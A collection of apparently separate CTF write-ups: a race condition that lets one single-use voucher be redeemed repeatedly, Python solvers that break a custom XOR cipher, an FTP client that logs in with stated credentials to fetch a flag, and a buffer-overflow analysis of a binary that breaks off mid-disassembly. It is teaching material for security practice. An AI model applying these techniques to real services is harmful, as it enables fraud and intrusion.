text_chunk
stringlengths
151
703k
##Web 100 (web, 100p) ###PL[ENG](#eng-version) W zadaniu dostajemy prostą stronę wyświetlającą ilość pieniędzy na koncie oraz okienko do aktywacji kodów. Zostaje nam udostępniony jednorazowy kod doładowujący 10$. Po użyciu kodu dostajemy komunikat, że ciągle mamy za mało pieniędzy, zatem musimy znaleźć jakiś sposób na wielokrotne użycie tego samego kodu lub rozgryźć jak program weryfikuje kody. Zaczęliśmy od łatwiejszego. Z kodami rabatowymi kojarzy się szczególnie jeden powszechny exploit: [race condtition](https://www.owasp.org/index.php/Race_Conditions). Usuwamy ciasteczka żeby pozbyć się sesji i wysyłamy parę zapytań z tym samym kodem jednocześnie, po odświeżeniu strony pokazują nam się najszybciej zarobione pieniądze w życiu, oraz flagę. ### ENG version We get a link to a webpage displaying the amount of money on our account and a form for submitting codes. We have a single-use code for 10$. After we use this code we get an information that we still don't have enough money for the flag, so we assume we need to find a way to use the code multiple times or figure out how the system verifies the codes. We started with the simpler one. There is a very common error with discount codes: [race condtition](https://www.owasp.org/index.php/Race_Conditions). We remove cookies to get rid of current session (with already used code) and we send multiple requests at the same time. After the page loads we can see the fastest earned money in out lifes, and the flag.
## Crypto 300 (crypto, 300p) ### PL [ENG](#eng-version) Bardzo ciekawe zadanie dla nas, musieliśmy sporo z nim powalczyć, ale w końcu udało się rozwiązać zagadkę szyfru. Otóż dostajemy taki szyfr: 320b1c5900180a034c74441819004557415b0e0d1a316918011845524147384f5700264f48091e45 00110e41030d1203460b1d0752150411541b455741520544111d0000131e0159110f0c16451b0f1c 4a74120a170d460e13001e120a1106431e0c1c0a0a1017135a4e381b16530f330006411953664334 593654114e114c09532f271c490630110e0b0b Oraz kod którym go zaszyfrowano (w wersji przepisanej przez nas do pythona, nie jesteśmy fanami PHP): def encrypt(plainText): space = 10 cipherText = "" for i in range(len(plainText)): if i + space < len(plainText) - 1: cipherText += chr(ord(plainText[i]) ^ ord(plainText[i + space])) else: cipherText += chr(ord(plainText[i]) ^ ord(plainText[space])) if ord(plainText[i]) % 2 == 0: space += 1 else: space -= 1 return cipherText Bardzo komplikuje wszystko ta ruszająca się space. Ale jej stan zależy tylko od najniższego bitu, co wykorzystaliśmy przy rozwiązywaniu zadania.Rozwiązywaliśmy je w dwóch częściach - najpierw odzyskaliśmy najniższe bity plaintextu, a później dopiero całe hasło. Pierwsza próba złamania najniższych bitów wyglądała tak: def verify(cipherText, guessedBits): space = 10 for i in range(len(guessedBits)): if i + space < len(cipherText) - 1: if i + space >= len(guessedBits): return True if (ord(cipherText[i]) & 1) != ((ord(guessedBits[i]) & 1) ^ (ord(guessedBits[i + space]) & 1)): return False else: if space >= len(guessedBits): return True if (ord(cipherText[i]) & 1) != ((ord(guessedBits[i]) & 1) ^ (ord(guessedBits[space]) & 1)): return False if guessedBits[i] == '0': space += 1 else: space -= 1 return True def decrypt(cipherText, guessedBits, i): if i >= len(cipherText): print 'ok:', guessedBits return if len(guessedBits) == 10: print (int(guessedBits, 2) / 1024.0) * 100, '%' if verify(cipherText, guessedBits): decrypt(cipherText, guessedBits + '0', i + 1) decrypt(cipherText, guessedBits + '1', i + 1) Konkretnie, był to bruteforce z odcinaniem - sprawdzaliśmy wszystkie możliwości, i jeśli verify() się nie udał, wychodziliśmy ze sprawdzanej gałęzi Niestety, było to dużo za wolne. Zaczeliśmy od mikrooptymalizacji - jeśli dobrze pamiętam, przyśpieszyło to wykonanie skryptu prawie 600 razy (!) (a używaliśmy już pypy do wszystkich testów i tak): def verify(cipherText, guessedBits, length, guessed_len): space = 10 for i in range(guessed_len): if i + space < length - 1: if i + space >= guessed_len: return True if (cipherText[i] & 1) != ((guessedBits[i] & 1) ^ (guessedBits[i + space] & 1)): return False else: if space >= guessed_len: return True if (cipherText[i] & 1) != ((guessedBits[i] & 1) ^ (guessedBits[space] & 1)): return False if guessedBits[i] == 0: space += 1 else: space -= 1 return True def decrypt(cipherText): guessed_bits = [0] * len(cipherText) length = len(cipherText) i = 0 orded_cipher = [ord(c) for c in cipherText] decrypt_r(orded_cipher, guessed_bits, i, length) def decrypt_r(orded_cipher, guessedBits, i, length): if i >= length: print 'ok:', guessedBits return if i == 10: print (int(''.join(str(c) for c in guessedBits[:10]), 2) / 1024.0) * 100, '%' if verify(orded_cipher, guessedBits, length, i): guessedBits[i] = 0 decrypt_r(orded_cipher, guessedBits, i + 1, length) guessedBits[i] = 1 decrypt_r(orded_cipher, guessedBits, i + 1, length) Wykonywało się już relatywnie szybko. Odpaliliśmy to na czterech rdzeniach u jednego z członków naszego zespołu. Ale nie zapowiadało się to zbyt optymistycznie, więc spróbowaliśmy jeszcze zmienić podejście (viva la algorytmika!). Zamiast za każdym razem weryfikować całe hasło (i wychodzić w przód niepotrzebnie), odrzucać niemożliwe rozwiązania od razu: def decrypt(cipherText): guessed_bits = ['?'] * len(cipherText) length = len(cipherText) i = 0 orded_cipher = [ord(c) & 1 for c in cipherText] decrypt_r(orded_cipher, guessed_bits, i, length, 10) def try_guess(orded_cipher, guessedbits, i, length, guess, space): guessedbits = list(guessedbits) guessedbits[i] = guess if i + space < length - 1: nextndx = i + space else: nextndx = space nextbit = orded_cipher[i] ^ guess if guess == 0: newspace = space + 1 else: newspace = space - 1 if guessedbits[nextndx] == '?' or guessedbits[nextndx] == nextbit: guessedbits[nextndx] = nextbit decrypt_r(orded_cipher, guessedbits, i + 1, length, newspace) def decrypt_r(orded_cipher, guessedbits, i, length, space): if i >= length: print 'ok:', ''.join(str(c) for c in guessedbits) return if guessedbits[i] == '?': try_guess(orded_cipher, guessedbits, i, length, 0, space) try_guess(orded_cipher, guessedbits, i, length, 1, space) elif guessedbits[i] == 0: try_guess(orded_cipher, guessedbits, i, length, 0, space) elif guessedbits[i] == 1: try_guess(orded_cipher, guessedbits, i, length, 1, space) Używamy tu swoistego triboola w tablicy guessedbits, czyli 0 oznacza "na pewno będzie tam 0", 1 oznacza "na pewno będzie tam 1", a ? oznacza ofc "nie wiadomo". Pisanie i debugowanie tej wersji zajęło nam około godziny. A rozwiązanie dała dosłownie kilka sekund po uruchomieniu (poprzednia wersja ciągle się liczyła jeszcze). Tak czy inaczej, poprawne rozwiązania (szukaliśmy tutaj najniższych bitów plaintextu, przypominam) były cztery: sln = '1001011001110101110010100010110110010000010000100111010010111010010100111100001001110000011110010011110100101001010110010110101000110110100'sln = '1001011001110101110010100010110110000100010111010011010000011001001100111100111011110000000110100001110100101001010110010110101000110110100'sln = '0101011000010101110100001010000110100101001011010111000100111000010010000011001000110101001110101111110100001000110110101001010111111110100'sln = '0101011000010101110100001010000110100101001011000011000100111000110010001100011001110101000010100001110101100111000100101001010111001001011' Otrzymaliśmy w ten sposób układ równań dla 140 zmiennych. Nasza pierwsza próba to było użycie gotowego solvera do rozwiązania tego układu. Przykładowo dla 4 rozwiązania: from constraint import * problem = Problem() ODD = range(33, 128, 2) + [13] EVEN = range(32, 128, 2) + [10] problem.addVariable(0, ODD) problem.addVariable(1, EVEN) problem.addVariable(2, EVEN) problem.addVariable(3, ODD) problem.addVariable(4, EVEN) # (...) snip problem.addVariable(134, ODD) problem.addVariable(135, EVEN) problem.addVariable(136, ODD) problem.addVariable(137, EVEN) problem.addVariable(138, EVEN) problem.addConstraint(lambda av, bv: av ^ bv == 0x32, (0, 10)) problem.addConstraint(lambda av, bv: av ^ bv == 0xb, (1, 10)) problem.addConstraint(lambda av, bv: av ^ bv == 0x1c, (2, 12)) problem.addConstraint(lambda av, bv: av ^ bv == 0x59, (3, 14)) problem.addConstraint(lambda av, bv: av ^ bv == 0x0, (4, 14)) problem.addConstraint(lambda av, bv: av ^ bv == 0x18, (5, 16)) # (...) snip problem.addConstraint(lambda av, bv: av ^ bv == 0x6, (133, 17)) problem.addConstraint(lambda av, bv: av ^ bv == 0x30, (134, 16)) problem.addConstraint(lambda av, bv: av ^ bv == 0x11, (135, 15)) problem.addConstraint(lambda av, bv: av ^ bv == 0xe, (136, 16)) problem.addConstraint(lambda av, bv: av ^ bv == 0xb, (137, 15)) problem.addConstraint(lambda av, bv: av ^ bv == 0xb, (138, 16)) print problem.getSolutions() Niestety, solver wykonywał się wieki (nie mamy pewności czy wykonałby się w tym stuleciu). Dlatego, w czasie kiedy on się liczył, my zabraliśmy się za ręczne pisanie solvera: import string slv = [None] * len(sln) def filling_pass(slv): while True: any = False space = 10 for i in range(len(sln)): if i + space < len(sln) - 1: nx = i + space else: nx = space if sln[i] == '0': space += 1 else: space -= 1 if slv[i] is not None: sn = ord(slv[i]) ^ ord(ciph[i]) if slv[nx] is None: slv[nx] = chr(sn) if (sn >= 32 and sn < 127) or sn == 10 or sn == 13: any = True else: return False else: if slv[nx] != chr(sn): return False if not any: return True def tryit(slvo, start): while slvo[start] is not None: start += 1 if start >= len(slvo): print ''.join(' ' if c is None else '.' if ord(c) < 32 else c for c in slvo) return continue for c in string.printable: slv = list(slvo) slv[start] = c possible = filling_pass(slv) if possible: tryit(slv, start) tryit(slv, 0) I po raz drugi w tym zadaniu, to co liczyło się godziny/dni naiwnym programem, po poprawie algorytmu zadziałało w *sekundy*. Cieszy że mimo postępu komputerów jednak myślenie nad wydajnością ma czasami zastosowanie. Konkretnie, nasze rozwiązanie działało na takiej zasadzie: hasło = ['?'] * długość_hasła while (nie wszystkie literki w haśle znane): for char in charset: podstaw char za kolejną literkę w haśle wywnioskuj na podstawie znanych ograniczeń jak najwięcej innych znaków (funkcja filling_pass). Jeśli wyjdzie sprzeczność, zaniechaj, inaczej rekurencyjnie powtarzaj. Odpaliliśmy więc nasz algorytm: C:\Users\xxx\Code\RE\CTF\2015-10-02 def\crypto300>python hackz.py Cpgl5bpyy5qz{p5lz`5VAS5eb{pg;5[zb5\5}tcp5az5r|cp5lz`5a}p5gpbtgq5szg5tyy5a}|f5}tgq5bzg~5zg5xtlwp5r`pff|{r;5A}p5sytr5|f5vgleat{tylf|fJ|fJ}tgq Izmf?hzss?{pqz?fpj?\KY?ohqzm1?Qph?V?w~iz?kp?xviz?fpj?kwz?mzh~m{?ypm?~ss?kwvl?w~m{?hpmt?pm?r~f}z?xjzllvqx1?Kwz?ys~x?vl?|mfok~q~sflvl@vl@w~m{ Qbu~'pbkk'chib'~hr'DSA'wpibu)'Ihp'N'ofqb'sh'`nqb'~hr'sob'ubpfuc'ahu'fkk'sont'ofuc'phul'hu'jf~eb'`rbttni`)'Sob'akf`'nt'du~wsfifk~tntXntXofuc Rav}$sahh$`kja$}kq$GPB$tsjav*$Jks$M$lera$pk$cmra$}kq$pla$vasev`$bkv$ehh$plmw$lev`$skvo$kv$ie}fa$cqawwmjc*$Pla$bhec$mw$gv}tpejeh}wmw[mw[lev` S`w|%r`ii%ajk`%|jp%FQC%urk`w+%Kjr%L%mds`%qj%bls`%|jp%qm`%w`rdwa%cjw%dii%qmlv%mdwa%rjwn%jw%hd|g`%bp`vvlkb+%Qm`%cidb%lv%fw|uqdkdi|vlvZlvZmdwa Tgp{"ugnn"fmlg"{mw"AVD"rulgp,"Lmu"K"jctg"vm"ektg"{mw"vjg"pgucpf"dmp"cnn"vjkq"jcpf"umpi"mp"oc{`g"ewgqqkle,"Vjg"dnce"kq"ap{rvclcn{qkq]kq]jcpf Ufqz#tfoo#glmf#zlv#@WE#stmfq-#Mlt#J#kbuf#wl#djuf#zlv#wkf#qftbqg#elq#boo#wkjp#kbqg#tlqh#lq#nbzaf#dvfppjmd-#Wkf#eobd#jp#`qzswbmbozpjp\jp\kbqg Very well done you CTF pwner. Now I have to give you the reward for all this hard work or maybe guessing. The flag is cryptanalysis_is_hard Wdsx!vdmm!enod!xnt!BUG!qvods/!Onv!H!i`wd!un!fhwd!xnt!uid!sdv`se!gns!`mm!uihr!i`se!vnsj!ns!l`xcd!ftdrrhof/!Uid!gm`f!hr!bsxqu`o`mxrhr^hr^i`se Xk|w.ykbb.ja`k.wa{.MZH.~y`k| [email protected]{.zfk.|kyo|j.ha|.obb.zfg}.fo|j.ya|e.a|.cowlk.i{k}}g`i .Zfk.hboi.g}.m|w~zo`obw}g}Qg}Qfo|j C:\Users\xxx\Code\RE\CTF\2015-10-02 def\crypto300> Świetnie - zdobyliśmy flagę - `cryptanalysis_is_hard` ### ENG version Very interesting task for us, we had to put much effort into this by we finally solved it. We get a ciphertext: 320b1c5900180a034c74441819004557415b0e0d1a316918011845524147384f5700264f48091e45 00110e41030d1203460b1d0752150411541b455741520544111d0000131e0159110f0c16451b0f1c 4a74120a170d460e13001e120a1106431e0c1c0a0a1017135a4e381b16530f330006411953664334 593654114e114c09532f271c490630110e0b0b And code whcih was used to encode it (rewritten to Python since we're not fans of PHP): def encrypt(plainText): space = 10 cipherText = "" for i in range(len(plainText)): if i + space < len(plainText) - 1: cipherText += chr(ord(plainText[i]) ^ ord(plainText[i + space])) else: cipherText += chr(ord(plainText[i]) ^ ord(plainText[space])) if ord(plainText[i]) % 2 == 0: space += 1 else: space -= 1 return cipherText The biggest issue here is the moving space. However its state depends only on the lowest bit of the plaintext character, which we exploited to solve the task.The solution was split into two parts - first we extracted lowest bits of the plaintext and after that we decoded the whole ciphertext. First attempts to extract the lowest bits: def verify(cipherText, guessedBits): space = 10 for i in range(len(guessedBits)): if i + space < len(cipherText) - 1: if i + space >= len(guessedBits): return True if (ord(cipherText[i]) & 1) != ((ord(guessedBits[i]) & 1) ^ (ord(guessedBits[i + space]) & 1)): return False else: if space >= len(guessedBits): return True if (ord(cipherText[i]) & 1) != ((ord(guessedBits[i]) & 1) ^ (ord(guessedBits[space]) & 1)): return False if guessedBits[i] == '0': space += 1 else: space -= 1 return True def decrypt(cipherText, guessedBits, i): if i >= len(cipherText): print 'ok:', guessedBits return if len(guessedBits) == 10: print (int(guessedBits, 2) / 1024.0) * 100, '%' if verify(cipherText, guessedBits): decrypt(cipherText, guessedBits + '0', i + 1) decrypt(cipherText, guessedBits + '1', i + 1) This is a simple brute-force with prunning - we test all possibilities and if verify() failed we prune given branch. Unfortunately this was too slow. We started with some optimization of the code - and if I remember correctly this resulted in 600 times faster execution (!) (and we were already running on pypy for all the tests): def verify(cipherText, guessedBits, length, guessed_len): space = 10 for i in range(guessed_len): if i + space < length - 1: if i + space >= guessed_len: return True if (cipherText[i] & 1) != ((guessedBits[i] & 1) ^ (guessedBits[i + space] & 1)): return False else: if space >= guessed_len: return True if (cipherText[i] & 1) != ((guessedBits[i] & 1) ^ (guessedBits[space] & 1)): return False if guessedBits[i] == 0: space += 1 else: space -= 1 return True def decrypt(cipherText): guessed_bits = [0] * len(cipherText) length = len(cipherText) i = 0 orded_cipher = [ord(c) for c in cipherText] decrypt_r(orded_cipher, guessed_bits, i, length) def decrypt_r(orded_cipher, guessedBits, i, length): if i >= length: print 'ok:', guessedBits return if i == 10: print (int(''.join(str(c) for c in guessedBits[:10]), 2) / 1024.0) * 100, '%' if verify(orded_cipher, guessedBits, length, i): guessedBits[i] = 0 decrypt_r(orded_cipher, guessedBits, i + 1, length) guessedBits[i] = 1 decrypt_r(orded_cipher, guessedBits, i + 1, length) This was already reasonably fast. We fired this four times for different prefixes on one machine. But since we had to wait anyway, we decided to try a different approach (viva la algorithmics). Instead of verifying the whole password every time (by going forward) we rejected impossible solutions right away: def decrypt(cipherText): guessed_bits = ['?'] * len(cipherText) length = len(cipherText) i = 0 orded_cipher = [ord(c) & 1 for c in cipherText] decrypt_r(orded_cipher, guessed_bits, i, length, 10) def try_guess(orded_cipher, guessedbits, i, length, guess, space): guessedbits = list(guessedbits) guessedbits[i] = guess if i + space < length - 1: nextndx = i + space else: nextndx = space nextbit = orded_cipher[i] ^ guess if guess == 0: newspace = space + 1 else: newspace = space - 1 if guessedbits[nextndx] == '?' or guessedbits[nextndx] == nextbit: guessedbits[nextndx] = nextbit decrypt_r(orded_cipher, guessedbits, i + 1, length, newspace) def decrypt_r(orded_cipher, guessedbits, i, length, space): if i >= length: print 'ok:', ''.join(str(c) for c in guessedbits) return if guessedbits[i] == '?': try_guess(orded_cipher, guessedbits, i, length, 0, space) try_guess(orded_cipher, guessedbits, i, length, 1, space) elif guessedbits[i] == 0: try_guess(orded_cipher, guessedbits, i, length, 0, space) elif guessedbits[i] == 1: try_guess(orded_cipher, guessedbits, i, length, 1, space) We use a tri-value-boolean in guessedbits, 0 for `there is definitely 0`, 1 for `there is definitely 1` and ? for `don't know`. It took us an hour to write this and debug but we got the results within a few seconds (while the previous version was still computing). Anyway, the final correct sulutions (for lowest bits of the plaintext) were four: sln = '1001011001110101110010100010110110010000010000100111010010111010010100111100001001110000011110010011110100101001010110010110101000110110100'sln = '1001011001110101110010100010110110000100010111010011010000011001001100111100111011110000000110100001110100101001010110010110101000110110100'sln = '0101011000010101110100001010000110100101001011010111000100111000010010000011001000110101001110101111110100001000110110101001010111111110100'sln = '0101011000010101110100001010000110100101001011000011000100111000110010001100011001110101000010100001110101100111000100101001010111001001011' This way we got a set of equations with 140 variables. We tried to use a constraint-programming solver to solve it. For example for the bits number 4: from constraint import * problem = Problem() ODD = range(33, 128, 2) + [13] EVEN = range(32, 128, 2) + [10] problem.addVariable(0, ODD) problem.addVariable(1, EVEN) problem.addVariable(2, EVEN) problem.addVariable(3, ODD) problem.addVariable(4, EVEN) # (...) snip problem.addVariable(134, ODD) problem.addVariable(135, EVEN) problem.addVariable(136, ODD) problem.addVariable(137, EVEN) problem.addVariable(138, EVEN) problem.addConstraint(lambda av, bv: av ^ bv == 0x32, (0, 10)) problem.addConstraint(lambda av, bv: av ^ bv == 0xb, (1, 10)) problem.addConstraint(lambda av, bv: av ^ bv == 0x1c, (2, 12)) problem.addConstraint(lambda av, bv: av ^ bv == 0x59, (3, 14)) problem.addConstraint(lambda av, bv: av ^ bv == 0x0, (4, 14)) problem.addConstraint(lambda av, bv: av ^ bv == 0x18, (5, 16)) # (...) snip problem.addConstraint(lambda av, bv: av ^ bv == 0x6, (133, 17)) problem.addConstraint(lambda av, bv: av ^ bv == 0x30, (134, 16)) problem.addConstraint(lambda av, bv: av ^ bv == 0x11, (135, 15)) problem.addConstraint(lambda av, bv: av ^ bv == 0xe, (136, 16)) problem.addConstraint(lambda av, bv: av ^ bv == 0xb, (137, 15)) problem.addConstraint(lambda av, bv: av ^ bv == 0xb, (138, 16)) print problem.getSolutions() Unfortunately, it was taking a long time (and we're not sure if it would compute in this century). So in the meanwhile we attempted to make a custom solver: import string slv = [None] * len(sln) def filling_pass(slv): while True: any = False space = 10 for i in range(len(sln)): if i + space < len(sln) - 1: nx = i + space else: nx = space if sln[i] == '0': space += 1 else: space -= 1 if slv[i] is not None: sn = ord(slv[i]) ^ ord(ciph[i]) if slv[nx] is None: slv[nx] = chr(sn) if (sn >= 32 and sn < 127) or sn == 10 or sn == 13: any = True else: return False else: if slv[nx] != chr(sn): return False if not any: return True def tryit(slvo, start): while slvo[start] is not None: start += 1 if start >= len(slvo): print ''.join(' ' if c is None else '.' if ord(c) < 32 else c for c in slvo) return continue for c in string.printable: slv = list(slvo) slv[start] = c possible = filling_pass(slv) if possible: tryit(slv, start) tryit(slv, 0) And again for the second time in this task, what was taking hours in the naive implementation, took only *seconds* with a better algorithm. It's nice to think that even though we get more and more powerful computers, thinking about the computational complexity pays off sometimes. The solver worked like this: plaintext = ['?'] * plaintext_length while (not all characters in plaintext are decoded): for char in charset: use char as next letter in password using known constraints try to figure out as much as possible of next characters in plaintext (filling_pass function). If there is a constraint violation break, otherwise repeat recursively. This way we got: C:\Users\xxx\Code\RE\CTF\2015-10-02 def\crypto300>python hackz.py Cpgl5bpyy5qz{p5lz`5VAS5eb{pg;5[zb5\5}tcp5az5r|cp5lz`5a}p5gpbtgq5szg5tyy5a}|f5}tgq5bzg~5zg5xtlwp5r`pff|{r;5A}p5sytr5|f5vgleat{tylf|fJ|fJ}tgq Izmf?hzss?{pqz?fpj?\KY?ohqzm1?Qph?V?w~iz?kp?xviz?fpj?kwz?mzh~m{?ypm?~ss?kwvl?w~m{?hpmt?pm?r~f}z?xjzllvqx1?Kwz?ys~x?vl?|mfok~q~sflvl@vl@w~m{ Qbu~'pbkk'chib'~hr'DSA'wpibu)'Ihp'N'ofqb'sh'`nqb'~hr'sob'ubpfuc'ahu'fkk'sont'ofuc'phul'hu'jf~eb'`rbttni`)'Sob'akf`'nt'du~wsfifk~tntXntXofuc Rav}$sahh$`kja$}kq$GPB$tsjav*$Jks$M$lera$pk$cmra$}kq$pla$vasev`$bkv$ehh$plmw$lev`$skvo$kv$ie}fa$cqawwmjc*$Pla$bhec$mw$gv}tpejeh}wmw[mw[lev` S`w|%r`ii%ajk`%|jp%FQC%urk`w+%Kjr%L%mds`%qj%bls`%|jp%qm`%w`rdwa%cjw%dii%qmlv%mdwa%rjwn%jw%hd|g`%bp`vvlkb+%Qm`%cidb%lv%fw|uqdkdi|vlvZlvZmdwa Tgp{"ugnn"fmlg"{mw"AVD"rulgp,"Lmu"K"jctg"vm"ektg"{mw"vjg"pgucpf"dmp"cnn"vjkq"jcpf"umpi"mp"oc{`g"ewgqqkle,"Vjg"dnce"kq"ap{rvclcn{qkq]kq]jcpf Ufqz#tfoo#glmf#zlv#@WE#stmfq-#Mlt#J#kbuf#wl#djuf#zlv#wkf#qftbqg#elq#boo#wkjp#kbqg#tlqh#lq#nbzaf#dvfppjmd-#Wkf#eobd#jp#`qzswbmbozpjp\jp\kbqg Very well done you CTF pwner. Now I have to give you the reward for all this hard work or maybe guessing. The flag is cryptanalysis_is_hard Wdsx!vdmm!enod!xnt!BUG!qvods/!Onv!H!i`wd!un!fhwd!xnt!uid!sdv`se!gns!`mm!uihr!i`se!vnsj!ns!l`xcd!ftdrrhof/!Uid!gm`f!hr!bsxqu`o`mxrhr^hr^i`se Xk|w.ykbb.ja`k.wa{.MZH.~y`k| [email protected]{.zfk.|kyo|j.ha|.obb.zfg}.fo|j.ya|e.a|.cowlk.i{k}}g`i .Zfk.hboi.g}.m|w~zo`obw}g}Qg}Qfo|j C:\Users\xxx\Code\RE\CTF\2015-10-02 def\crypto300> Great, we got the flag - `cryptanalysis_is_hard`
## FTP2 (pwn, 300p, ? solves) ### PL[ENG](#eng-version) > nc 54.172.10.117 12012> [ftp_0319deb1c1c033af28613c57da686aa7](ftp) Pobieramy zalinkowany plik i ładujemy do IDY. Jest to faktycznie, zgodnie z opisem, serwer FTP - ten sam co w zadaniu FTP (re 300). Wiemy że flaga znajduje się gdzieś na serwerze. Mamy też username i hasło. Spróbowaliśmy najpierw dorwać się do serwera FTP w cywilizowany sposób - po prostu łącząc się klientem FTP. Niestety, nie wyszło (ani filezilla, ani webowe klienty nie dały rady - jednak widać ten serwer FTP nie był tak kompatybilny jak moglibyśmy liczyć). Napisaliśmy więc trywialnego klienta FTP, łączącego się z serwerem: client.py:```import socketimport subprocess HOST = '54.175.183.202' s = socket.socket()s.connect((HOST, 12012)) def send(t): print t s.send(t) def recv(): msg = s.recv(9999) print msg return msg recv()send('USER blankwall\n')recv()send('PASS TkCWRy')recv()recv() while True: print ">>", i = raw_input() + '\n' send(i) msg = recv() if 'PASV succesful' in msg: port = int(msg.split()[-1]) print port subprocess.Popen(['python', 'process.py', str(port)])``` process.py:```import socketimport sys HOST = '54.175.183.202' port = int(sys.argv[1])t = socket.socket()t.connect((HOST, port))print t.recv(99999999)``` I tutaj zdarzyła się dziwna rzecz - wylistowaliśmy katalog po połączeniu się (poleceniem LIST), i widzimy plik o nazwie "flag" w cwd. Następnie wykonaliśmy polecenie RETR, żeby pobrać ten plik. I... dostaliśmy flagę: `flag{exploiting_ftp_servers_in_2015}` Było to bardzo niespodziewane, i albo to jakiś błąd autorów zadania, albo ktoś wyexploitował zadanie "po bożemu" i (nieświadomie?) zostawił flagę w pliku na serwerze czytalnym dla każdego. Tak czy inaczej, tanie 300 punktów do przodu. ### ENG version > nc 54.172.10.117 12012> [ftp_0319deb1c1c033af28613c57da686aa7](ftp) W download the binary and load it into IDA. It is in fact a FTP server - the same as in the task FTP (re 300). We know that the flag is somewhere on the server. We also have already the username and password. We tried to connect to the server with an actual FTP client. Unfortunately it didn't work (neither filezilla nor any web clients could do it - apparently this FTP server was not as standard as we hoped). Therefore we made a trivial FTOP client for the connection: client.py:```import socketimport subprocess HOST = '54.175.183.202' s = socket.socket()s.connect((HOST, 12012)) def send(t): print t s.send(t) def recv(): msg = s.recv(9999) print msg return msg recv()send('USER blankwall\n')recv()send('PASS TkCWRy')recv()recv() while True: print ">>", i = raw_input() + '\n' send(i) msg = recv() if 'PASV succesful' in msg: port = int(msg.split()[-1]) print port subprocess.Popen(['python', 'process.py', str(port)])``` process.py:```import socketimport sys HOST = '54.175.183.202' port = int(sys.argv[1])t = socket.socket()t.connect((HOST, port))print t.recv(99999999)``` And here we stumbled upon a strange thing - we listed the directory (with LIST) and we saw and we saw `flag` file in CWD. Then we used RETR command to download this file and... we got the flag: `flag{exploiting_ftp_servers_in_2015}` It was rather unexpected and either this was some kind of mistake from the challenge authors or someone simply solved the task the "right way" and (unknowingly) left the flag on the server. Either way we got a cheap 300 points.
# Backdoor CTF 2015: Forgot **Category:** Pwnable**Points:** 200**Description:** > Fawkes has been playing around with Finite State Automaton lately. While exploring the concept of implementing regular expressions using FSA he thought of implementing an email-address validator.> > Recently, Lua started to annoy Fawkes. To this, Fawkes, challenged Lua to a battle of wits. Fawkes promised to reward Lua, only if she manages to transition to a non-reachable state in the FSA he implemented. The replication can be accessed [here](challenge/forgot-724a09c084a9df46d8555bf77612e612.tar.gz). ## Write-up Let's first take a look at the binary: >```bash> file forgot > forgot: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x2d0a93353682049b11964e699e753b07c4b8881c, stripped>``` See what checksec has to say: >```bash> gdb-peda$ checksec> CANARY : disabled> FORTIFY : disabled> NX : ENABLED> PIE : disabled> RELRO : Partial>``` A 32-bit ELF with non-exec stack and not much else. Instead of toying around with the service, let's just decompile the binary and cut to the chase (function names added for clarity): >```c>int mainroutine()>{> int v0; // eax@3> int v1; // eax@9> int v2; // eax@15> int v3; // eax@18> int v4; // eax@21> int v5; // eax@24> size_t v6; // ebx@29> int v8; // [sp+10h] [bp-74h]@1> int (*v9)(); // [sp+30h] [bp-54h]@1> int (*v10)(); // [sp+34h] [bp-50h]@1> int (*v11)(); // [sp+38h] [bp-4Ch]@1> int (*v12)(); // [sp+3Ch] [bp-48h]@1> int (*v13)(); // [sp+40h] [bp-44h]@1> int (*v14)(); // [sp+44h] [bp-40h]@1> int (*v15)(); // [sp+48h] [bp-3Ch]@1> int (*v16)(); // [sp+4Ch] [bp-38h]@1> int (*v17)(); // [sp+50h] [bp-34h]@1> int (*v18)(); // [sp+54h] [bp-30h]@1> int v19; // [sp+58h] [bp-2Ch]@1> signed int v20; // [sp+78h] [bp-Ch]@1> size_t i; // [sp+7Ch] [bp-8h]@1>> v20 = 1;> v9 = fancy_at_dot;> v10 = not_even_at;> v11 = hungry_at;> v12 = localhost_dot;> v13 = end_with_dot;> v14 = single_tld;> v15 = valid_hai1;> v16 = valid_hai2;> v17 = valid_hai3;> v18 = just_made_it;> puts("What is your name?");> printf("> ");> fflush(stdout);> fgets((char *)&v19, 32, stdin);> say_hello((int)&v19);> fflush(stdout);> printf("I should give you a pointer perhaps. Here: %x\n\n", end_with_dot);> fflush(stdout);> puts("Enter the string to be validate");> printf("> ");> fflush(stdout);> __isoc99_scanf("%s", &v8;;> for ( i = 0; ; ++i )> {> v6 = i;> if ( v6 >= strlen((const char *)&v8) )> break;> switch ( v20 )> {> case 1:> LOBYTE(v0) = sub_8048702(*((_BYTE *)&v8 + i));> if ( v0 )> v20 = 2;> break;> case 2:> if ( *((_BYTE *)&v8 + i) == 64 )> v20 = 3;> break;> case 3:> LOBYTE(v1) = sub_804874C(*((_BYTE *)&v8 + i));> if ( v1 )> v20 = 4;> break;> case 4:> if ( *((_BYTE *)&v8 + i) == 46 )> v20 = 5;> break;> case 5:> LOBYTE(v2) = sub_8048784(*((_BYTE *)&v8 + i));> if ( v2 )> v20 = 6;> break;> case 6:> LOBYTE(v3) = sub_8048784(*((_BYTE *)&v8 + i));> if ( v3 )> v20 = 7;> break;> case 7:> LOBYTE(v4) = sub_8048784(*((_BYTE *)&v8 + i));> if ( v4 )> v20 = 8;> break;> case 8:> LOBYTE(v5) = sub_8048784(*((_BYTE *)&v8 + i));> if ( v5 )> v20 = 9;> break;> case 9:> v20 = 10;> break;> default:> continue;> }> }> --v20;> (*(&v9 + v20))();> return fflush(stdout);>}>``` The binary is a simple FSA-style e-mail address validator. Depending on how you violate the e-mail address format it displays a different message (for which it uses different functions). Instead of focussing on the application functionality and the states it could or could not reach, we can spot a buffer overflow: >```c> __isoc99_scanf("%s", &v8;;>``` Given that scanf is called without a length specifier we can write an arbitrary amount of data to the stack variable v8. Instead of trying to overwrite EIP we see that we can overflow v8 into v9 which is used as a function pointer later on: >```c> int v8; // [sp+10h] [bp-74h]@1> int (*v9)(); // [sp+30h] [bp-54h]@1>(...)> (*(&v9 + v20))();>``` We don't have to pop a shell because we can overwrite v9 with the address of another interesting function. None of the FSA state functions are interesting except for the following: >```c>int just_made_it()>{> return puts("You just made it. But then you didn't!");>}>``` The decompiler doesn't make it look interesting but when disassembling it we can see the following: >```asm>.text:080486B8 just_made_it proc near ; DATA XREF: mainroutine+5A?o>.text:080486B8 push ebp>.text:080486B9 mov ebp, esp>.text:080486BB sub esp, 18h>.text:080486BE mov dword ptr [esp], offset aYouJustMadeIt_ ; "You just made it. But then you didn't!">.text:080486C5 call _puts>.text:080486CA leave>.text:080486CB retn>.text:080486CB just_made_it endp>.text:080486CB>.text:080486CC ; --------------------------------------------------------------------------->.text:080486CC push ebp>.text:080486CD 